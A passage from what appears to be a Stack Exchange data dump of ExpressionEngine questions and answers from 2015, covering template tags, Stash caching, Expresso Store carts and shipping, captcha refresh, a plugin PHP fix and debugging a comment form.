here&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;slider-wrapper theme-default&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;ribbon&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;slider&quot; class=&quot;nivoSlider&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;project&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;        {exp:channel_images:images entry_id=&quot;{entry_id}&quot;}&#xA;        &amp;lt;img src=&quot;{image:url:carousel}&quot; data-thumb=&quot;{image:url:carousel}&quot; alt=&quot;&quot; title=&quot;#htmlcaption-{entry_id}&quot; /&amp;gt;&#xA;        {/exp:channel_images:images}&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;project&quot; disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot; limit=&quot;1&quot;}&#xA;{if p_feature}&#xA;{exp:channel_images:images entry_id=&quot;{entry_id}&quot;}&#xA;    &amp;lt;div id=&quot;htmlcaption-{entry_id}&quot; class=&quot;nivo-html-caption&quot; title=&quot;slide-{entry_id}&quot;&amp;gt;&#xA;        Dump whatever channel:images tags you want here.&#xA;        {title}&#xA;        &amp;lt;a href=&quot;/projects/{url_title}&quot;&amp;gt;&#xA;            Read More &#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:channel_images:images}&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please refer to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devdemon.com/documentation/tag/images/&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/documentation/tag/images/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-05-05T19:05:08.033" LastActivityDate="2015-05-05T19:05:08.033" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31315" PostTypeId="2" ParentId="26037" CreationDate="2015-05-05T19:46:13.010" Score="1" Body="&lt;p&gt;I am also seeing this issue on EE 2.9.2 as of May 5, 2015. I turned off Channel Caching&lt;br&gt;&#xA;(&lt;strong&gt;Admin &gt; Channel Administration &gt; Global Preferences &gt; Cache Dynamic Channel Queries?&lt;/strong&gt;) and it seems to have fixed the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to keep caching globally but remove it in a few cases like this one, you can add &lt;code&gt;cache=&quot;no&quot;&lt;/code&gt; as a parameter to the &lt;code&gt;exp:channel:entries&lt;/code&gt; loop.&lt;/p&gt;&#xA;" OwnerUserId="6274" LastEditorUserId="3579" LastEditDate="2017-02-23T15:07:47.350" LastActivityDate="2017-02-23T15:07:47.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31317" PostTypeId="1" CreationDate="2015-05-05T23:18:00.827" Score="0" ViewCount="44" Body="&lt;p&gt;I am trying to figure out how to simply post channel information in a Postmaster email template and for the life of me I cannot figure out why I cannot. Lets say I have a news channel. Why wont this work?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;10&quot;}&#xA;  &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;  {body}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried this with many different template variables and I cannot tell if its postmaster or my template code failing.&lt;/p&gt;&#xA;" OwnerUserId="6276" LastActivityDate="2016-05-20T08:52:30.860" Title="Templating in Postmaster / Templating in General (Super Simple)" Tags="|templates|postmaster|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31318" PostTypeId="1" CreationDate="2015-05-06T02:13:38.880" Score="0" ViewCount="31" Body="&lt;p&gt;I am trying to configure a parcel to be sent out once everyday, i have &quot;+1 day&quot; in the field, but it is not sending at all, as for the recipients section i have the tag {member:screen_name} for &quot;from&quot; and {member:email} for the &quot;to&quot; this is just temporary so I can test to see if it works properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Help would be great!&lt;/p&gt;&#xA;" OwnerUserId="6243" LastActivityDate="2015-05-06T02:13:38.880" Title="Setting up recipients and dates to be sent in Postmaster Module" Tags="|tags|postmaster|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="31319" PostTypeId="2" ParentId="31312" CreationDate="2015-05-06T03:13:50.497" Score="2" Body="&lt;p&gt;If you're using Freeform's custom field variables such as &lt;code&gt;{freeform:field:FIELD_NAME}&lt;/code&gt;, returning to a previous page should have its fields populated with previous data since the variable tries to retrieve this data. If your fields are manually-coded in HTML, the data isn't retrievable as easily, although the data should be available using &lt;a href=&quot;https://www.solspace.com/docs/freeform/form/#freeform_mp_data_field_name&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{freeform:mp_data:FIELD_NAME}&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should answer both of your sub-questions. :)&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2015-05-07T12:17:36.883" LastActivityDate="2015-05-07T12:17:36.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31320" PostTypeId="1" AcceptedAnswerId="31329" CreationDate="2015-05-06T08:19:37.420" Score="0" ViewCount="58" Body="&lt;p&gt;So, I'm having a multilanguage one-pager website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm opening with &lt;code&gt;{exp:stash:cache bundle=&quot;onepager_{segment_1}&quot;}&lt;/code&gt; so I can have a bundle for each onepager language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On localhost, every language (in this case nl, de and fr) are getting their own bundle. &#xA;In my live setup, the first one gets stashed rather quickly, but when I change my url from /nl to /fr for example, it takes ages and I get a memory exhausted error (&lt;code&gt;Fatal error: Allowed memory size of 201326592 bytes exhausted (tried to allocate 523800 bytes)&lt;/code&gt;). When I refresh again, the fr bundle gets filled, but the nl bundle is gone. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some important things to know, that might be of importance here.&#xA;This website is using multi-site manager. Also, the onepager is using switchee. If segment_2 is empty, it has &lt;code&gt;{stash:embed:layouts:one_pager}&lt;/code&gt;, otherwise it has &lt;code&gt;{stash:embed:layouts:detail}&lt;/code&gt;. If it's not, it shows a detail-page of an event. &#xA;The reason I'm doing it this way, instead of having a different page-type, is multi-language stuff. Every detail-entry is having all fields for every language, rather then splitting it up. But since they're not in structure because of this (as I can not add a listing to a master page) I'm doing it like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the question is, am I doing something wrong here, or is my server not able to handle this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I changed my approach a bit. I made another page-type specifically for detail-entries and made a hidden page for it. This way, I made sure I only had logic for my onepage in my onepager page-type. Yet, the issue remains.&lt;/p&gt;&#xA;" OwnerUserId="3830" LastEditorUserId="3830" LastEditDate="2015-05-06T09:04:13.697" LastActivityDate="2015-05-06T15:26:50.817" Title="Stash memory issue" Tags="|stash|multi-site-manager|memory-limit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31321" PostTypeId="2" ParentId="21391" CreationDate="2015-05-06T09:29:26.137" Score="1" Body="&lt;p&gt;For anyone with the same issue, make sure that you go to Admin &gt; Channel Administration &gt; Channel Form and then choose Yes for Guest Captcha for the relevant channel.&lt;/p&gt;&#xA;" OwnerUserId="2843" LastActivityDate="2015-05-06T09:29:26.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31322" PostTypeId="2" ParentId="7282" CreationDate="2015-05-06T12:04:40.877" Score="0" Body="&lt;p&gt;This is an interesting colundrum! At times like these i always refer to &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;Low's EE Parse Order Document&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you are right that stash embed's &lt;em&gt;behave&lt;/em&gt; like regular embeds, but they are not &lt;em&gt;parsed&lt;/em&gt; at the same stage of the parse order. Embeds are parsed after module tags, remember that reverse related entries and channel entries are also technically module tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I ask, your regular embed, it doesn't actually call stash inside itself does it (i.e. have you tried with simple embed with some test markup in it?) One of the things that sticks in my head is this line from the Stash GitHub homepage : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stash variables that you create are available to templates embedded below the level at which you are using the tag, or later in the parse order of the current template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Me'thinks some parsing orde investigation is needed.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-06T12:04:40.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31323" PostTypeId="1" CreationDate="2015-05-06T12:26:05.920" Score="0" ViewCount="78" Body="&lt;p&gt;Would there be a way in Expresso Store to pre populate a cart with certain products?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And even better, to populate the cart based on a link? E.g to send a link to a customer and when the customer clicks the link he is taken to the cart with products X, Y and Z already in the cart?&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2016-06-01T03:11:40.840" Title="Pre-populate shopping cart?" Tags="|expresso-store|shopping-cart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31324" PostTypeId="2" ParentId="31323" CreationDate="2015-05-06T12:52:51.727" Score="0" Body="&lt;p&gt;I would recommend populating an Expresso Add to Cart form (&lt;a href=&quot;https://www.exp-resso.com/docs/product_form_tag.html&quot; rel=&quot;nofollow&quot;&gt;Docs&lt;/a&gt;), making the form elements hidden and styling the submit button to look like a link, seems the most straight forward way...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example from the Docs, that I have modified to suit. The below example will add 1 of every product in the channel entry loop : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- start the product form --}&#xA;{exp:store:product_form}&#xA;  {!-- iterates the products channel --}&#xA;  {exp:channel:entries channel=&quot;products&quot;}&#xA;    {!-- individual product form elements --}&#xA;    {exp:store:product entry_id=&quot;{entry_id}&quot; disable_form=&quot;yes&quot;}&#xA;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;items[{count}][entry_id]&quot; value=&quot;{entry_id}&quot; /&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;items[{count}][item_qty]&quot; value=&quot;1&quot; /&amp;gt;&#xA;&#xA;    {/exp:store:product}&#xA;  {/exp:channel:entries}&#xA;&#xA;  {!-- Form submit, looks like a link --}&#xA;  &amp;lt;input type=&quot;submit&quot; value=&quot;Add to Cart&quot; style=&quot;background-color:transparent; text-decoration:underline; border:none; color:blue; cursor:pointer;&quot; /&amp;gt;&#xA;&#xA;{/exp:store:product_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To select the products use the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#entry-id&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;entry_id&lt;/code&gt;&lt;/a&gt; Tag on the &lt;code&gt;exp:channel:entries&lt;/code&gt; loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted to go 'off the reservation' you could construct the post array in PHP and submit it to the relivent ACTion ID or Expresso Store Model function, put the code on a seperate template and link to that template, but thats another ball game, and Expresso probsbly won't recommend it!! :D&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-06T12:52:51.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31325" PostTypeId="2" ParentId="31311" CreationDate="2015-05-06T13:14:48.990" Score="2" Body="&lt;p&gt;You'll need to use some ajax and create an endpoint, ergo refreshing just the captcha.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fortunatly, once you have that in place actually creating a captcha is totally easy, there's a helper in the system but the function is also available via ee itself : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//create a captcha and return the HTML&#xA;$captchaHtml = ee()-&amp;gt;functions-&amp;gt;create_captcha();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/functions.html#create-captcha&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/usage/functions.html#create-captcha&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-06T13:14:48.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31326" PostTypeId="2" ParentId="31317" CreationDate="2015-05-06T13:28:04.343" Score="0" Body="&lt;p&gt;perhaps you need &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; in your channel entries tag?&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-06T13:28:04.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31327" PostTypeId="2" ParentId="31310" CreationDate="2015-05-06T13:49:02.763" Score="1" Body="&lt;p&gt;You're on the right track. When I was first developing a payment gateway for Store, Adrian (who developed Store and Omnipay) told me this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Basically there is a Gateway class to create the requests, then a Request class for each different type of request. The simplest possible implementation would only need a gateway class, a PurchaseRequest class, and a Response class.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can add anything else you need, like custom methods for manipulating/formatting data, or loading external libraries to handle parts of the request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If you want to take a look at a couple of custom gateways I wrote from knowing zero about how Omnipay works, check them out &lt;a href=&quot;https://github.com/amphibian/store-psigate&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://github.com/amphibian/store-beanstream&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; - though they are both for on-site gateways, and you say that your gateway is off-site, so the implementation may differ a little.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the library you linked to, you'd want to bundle that code in your add-on, then include it, instantiate it, and use the results to tell the required Omnipay methods what to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a starting point, I'd be looking at &lt;a href=&quot;https://github.com/asterixcapri/gestpaycrypt-php/blob/master/examples/request.php&quot; rel=&quot;nofollow&quot;&gt;this example&lt;/a&gt; for an idea of what to do in your &lt;code&gt;purchase()&lt;/code&gt; method, and  &lt;a href=&quot;https://github.com/asterixcapri/gestpaycrypt-php/blob/master/examples/response.php&quot; rel=&quot;nofollow&quot;&gt;this example&lt;/a&gt; for an idea of what to do in your &lt;code&gt;completePurchase()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-05-06T13:49:02.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31328" PostTypeId="1" AcceptedAnswerId="31333" CreationDate="2015-05-06T15:01:25.417" Score="0" ViewCount="53" Body="&lt;p&gt;How do I delete an order (expresso store) in the control panel?  I'd like to be able to delete the tests I'm doing.  Even cmd+f &quot;delete&quot; on the pages turns up nothing.&lt;/p&gt;&#xA;" OwnerUserId="6088" LastActivityDate="2015-05-06T17:31:57.130" Title="How to delete order?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31329" PostTypeId="2" ParentId="31320" CreationDate="2015-05-06T15:26:50.817" Score="0" Body="&lt;p&gt;Well okay.&#xA;This seemed to be the killer here: &lt;code&gt;{stash:embed file_name=&quot;snippets:document:html_footer_includes&quot;}&lt;/code&gt; rather than &lt;code&gt;{stash:embed name=&quot;snippets:document:html_footer_includes&quot;}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it's fixed, but I'd be good to know the difference between file_name and name in this context :) And why it does work local, and exhausts my memory in production.&lt;/p&gt;&#xA;" OwnerUserId="3830" LastActivityDate="2015-05-06T15:26:50.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31330" PostTypeId="1" AcceptedAnswerId="31331" CreationDate="2015-05-06T16:28:51.177" Score="2" ViewCount="701" Body="&lt;p&gt;I recently noticed that I was getting an error message from one of my plugins &lt;a href=&quot;https://github.com/ryanirelan/ri.yearlist.ee_addon.2.0&quot; rel=&quot;nofollow&quot;&gt;YearList&lt;/a&gt;. The page the error occurs on seems to function as expected despite the error, but I would like to resolve the error or at the very least hide it from view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error being displayed is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Message: Non-static method Yearlist::usage() should not be called statically, assuming $this from incompatible context&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the error says it is occuring on this line of &lt;code&gt;pi.yearlist.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$plugin_info = array(&#xA;                 'pi_usage'         =&amp;gt; Yearlist::usage()&#xA;               );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas? &lt;/p&gt;&#xA;" OwnerUserId="2257" LastActivityDate="2015-08-04T18:44:17.890" Title="Error from YearList plugin: Non-static method Yearlist::usage() should not be called statically" Tags="|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31331" PostTypeId="2" ParentId="31330" CreationDate="2015-05-06T16:46:27.843" Score="8" Body="&lt;p&gt;Fixed it by changing this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function usage()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function usage()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20352/plugins-through-php-warning-with-strict-errors-on&quot; rel=&quot;noreferrer&quot;&gt;https://support.ellislab.com/bugs/detail/20352/plugins-through-php-warning-with-strict-errors-on&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2257" LastActivityDate="2015-05-06T16:46:27.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31332" PostTypeId="1" CreationDate="2015-05-06T17:11:11.267" Score="1" ViewCount="35" Body="&lt;p&gt;We're using expresso store on a new site. Our client will ship his product based on three flat rates: UK, Europe and Rest of the world. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quite frankly we can't figure out how to set something like this on Expresso. We used Cartthrob in the past and we remember they have a &quot;GLOBAL&quot; shipping destination variable but can't seem to find the same thing on Expresso. We tried creating one shipping option per region and leaving the match to &quot;any country, any city&quot; but it doesn't seem to be updating any charges. I'm sure this is a fairly common scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&#xA;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;S-&lt;/p&gt;&#xA;" OwnerUserId="1427" LastActivityDate="2015-09-19T03:38:05.220" Title="Shipping by continent" Tags="|expresso-store|shipping|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31333" PostTypeId="2" ParentId="31328" CreationDate="2015-05-06T17:31:57.130" Score="2" Body="&lt;p&gt;The order deletion functionality was removed in Store 2.5 - apparently in error - and will reportedly return in a forthcoming point release.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-05-06T17:31:57.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31334" PostTypeId="1" CreationDate="2015-05-06T18:33:22.833" Score="0" ViewCount="59" Body="&lt;p&gt;A very quick question, I'm trying to make a comment form but I get an error on submit that the Comment field is required, even though its filled in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No Idea why as I checked other questions etc code seems fine. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;          &amp;lt;div class=&quot;comment-form&quot;&amp;gt;&#xA;                &amp;lt;h3&amp;gt; Leave a comment &amp;lt;/h3&amp;gt;&#xA;                {exp:comment:form channel=&quot;blog_post&quot;}&#xA;                    &amp;lt;ol&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;label&amp;gt;YOUR NAME&amp;lt;span&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;{name}&quot; /&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;label&amp;gt;YOUR EMAIL&amp;lt;span&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input type=&quot;email&quot; name=&quot;email&quot; value=&quot;{email}&quot; /&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;label&amp;gt;YOUR WEBSITE&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;url&quot; value=&quot;{url}&quot; /&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;label&amp;gt;YOUR COMMENT&amp;lt;span&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;textarea name=&quot;comment&quot;&amp;gt;{comment}&amp;lt;/textarea&amp;gt;&#xA;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li class=&quot;submit&quot;&amp;gt;&amp;lt;button type=&quot;submit&quot;&amp;gt;POST COMMENT&amp;lt;/button&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ol&amp;gt;&#xA;                {/exp:comment:form}&#xA;            &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can you spot an error? Or maybe direct me the right direction? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&lt;/p&gt;&#xA;" OwnerUserId="6280" LastActivityDate="2015-09-08T12:51:15.247" Title="Comments Field Is Required Error when Implementing Comment Form" Tags="|forms|comments|comment-form|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31335" PostTypeId="1" AcceptedAnswerId="31372" CreationDate="2015-05-06T19:30:31.087" Score="2" ViewCount="556" Body="&lt;p&gt;Apparently YouTube has changed their API which seems to have killed Channel Videos. When searching for a video in the add-on, the devicesupport video comes up. I'm really hoping that there's a fix for this!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This post &lt;a href=&quot;https://support.google.com/youtube/answer/6098135?p=yt_devicesupport&amp;amp;hl=en&amp;amp;rd=1&quot; rel=&quot;nofollow&quot;&gt;https://support.google.com/youtube/answer/6098135?p=yt_devicesupport&amp;amp;hl=en&amp;amp;rd=1&lt;/a&gt; indicates that the change to the API was made at the beginning of May.&lt;/p&gt;&#xA;" OwnerUserId="2934" LastActivityDate="2015-05-08T02:12:15.477" Title="DevDemon Channel Videos is now returning https://youtube.com/devicesupport" Tags="|devdemon|channel-videos|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31336" PostTypeId="1" AcceptedAnswerId="31338" CreationDate="2015-05-06T19:44:03.640" Score="0" ViewCount="40" Body="&lt;p&gt;I've recently inherited a EE site.  I'm a Joomla kid but that doesn't matter.  The owner of this website has multiple channels (I guess that's what they're called, such as Residential, Commercial, etc).  The channels (residential and commercial) are all showing up on one page, which is what they want.  However, the &quot;In Progress&quot; channel is showing up on more than one page.  I figured there has to be a simple setting to tell the channel how many entries on one page, sort of like Joomla, but can't seem to find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the site, if you want is www.newenglanddesign (.com).&lt;/p&gt;&#xA;" OwnerUserId="6281" LastActivityDate="2015-05-06T20:45:45.240" Title="Channel displaying on more than one page" Tags="|channel|entry|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31337" PostTypeId="1" CreationDate="2015-05-06T20:09:33.533" Score="0" ViewCount="89" Body="&lt;p&gt;I have a website I am building.  The website needs to be in 7 different languages.  I know that I will need to use a language switcher but I am not sure how I set up the different languages/channels in the admin and/or what is the best approach.  Can someone please advise?&lt;/p&gt;&#xA;" OwnerUserId="6282" LastActivityDate="2016-06-16T12:16:31.707" Title="Multi Languages" Tags="|channel|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31338" PostTypeId="2" ParentId="31336" CreationDate="2015-05-06T20:45:45.240" Score="1" Body="&lt;p&gt;I'm on my mobile so I can't be verbose, but I'd bet you have a channel entries tag living on your templates. They look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;10&quot;}&#xA;    {title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can set what channels get outputted with that channel param, and can put multiple channel names pipe separated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;channel=&quot;news|weather&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check out the docs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-05-06T20:45:45.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31339" PostTypeId="2" ParentId="31337" CreationDate="2015-05-06T20:53:37.400" Score="0" Body="&lt;p&gt;I have done it several times using these instructions &lt;a href=&quot;http://www.sidd3.com/multi-language-website-with-expressionengine/&quot; rel=&quot;nofollow&quot;&gt;http://www.sidd3.com/multi-language-website-with-expressionengine/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2015-05-06T20:53:37.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31342" PostTypeId="2" ParentId="31334" CreationDate="2015-05-06T21:56:53.037" Score="1" Body="&lt;p&gt;Here are some things that could cause this to fail:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Front-end caching such as Varnish or CloudFlare. Make sure that your cache layer is set to not cache URLs with a get parameter named ACT in them, for instance:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/index.php?ACT=123&quot; rel=&quot;nofollow&quot;&gt;http://example.com/index.php?ACT=123&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the URL format that is used to submit comments. The number will vary depending on the version of EE and other modules installed.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Request rewriting that removes POST values. This is fairly common with a few variations of .htaccess / index.php removal floating around. Again you need to make sure that any URL with an ACT get parameter is not rewritten.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If neither of these seem to be the case you can do some more debugging by placing var_dump() calls in the insert_new_comment method of system/expressionengine/modules/mod.comment.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function insert_new_comment()&#xA;{&#xA;    $default = array('name', 'email', 'url', 'comment', 'location', 'entry_id');&#xA;&#xA;    foreach ($default as $val)&#xA;    {&#xA;        if ( ! isset($_POST[$val]))&#xA;        {&#xA;            $_POST[$val] = '';&#xA;        }&#xA;    }&#xA;&#xA;    // DEBUGGING&#xA;    echo '&amp;lt;pre&amp;gt;';&#xA;    echo 'POST:'.PHP_EOL;&#xA;    var_dump($_POST);&#xA;    echo 'SERVER:'.PHP_EOL;&#xA;    var_dump($_SERVER);&#xA;    exit;&#xA;    // END DEBUGGING&#xA;&#xA;    ....&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should expect to see these variables populated in the post array, if not, something is removing the values:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;name&lt;/li&gt;&#xA;&lt;li&gt;email&lt;/li&gt;&#xA;&lt;li&gt;url&lt;/li&gt;&#xA;&lt;li&gt;comment&lt;/li&gt;&#xA;&lt;li&gt;location&lt;/li&gt;&#xA;&lt;li&gt;entry_id&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A few random thoughts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the comment is plain text, if you somehow have a WYSIWYG field added to the front-end, this may be inserting markup that is being stripped by the XSS 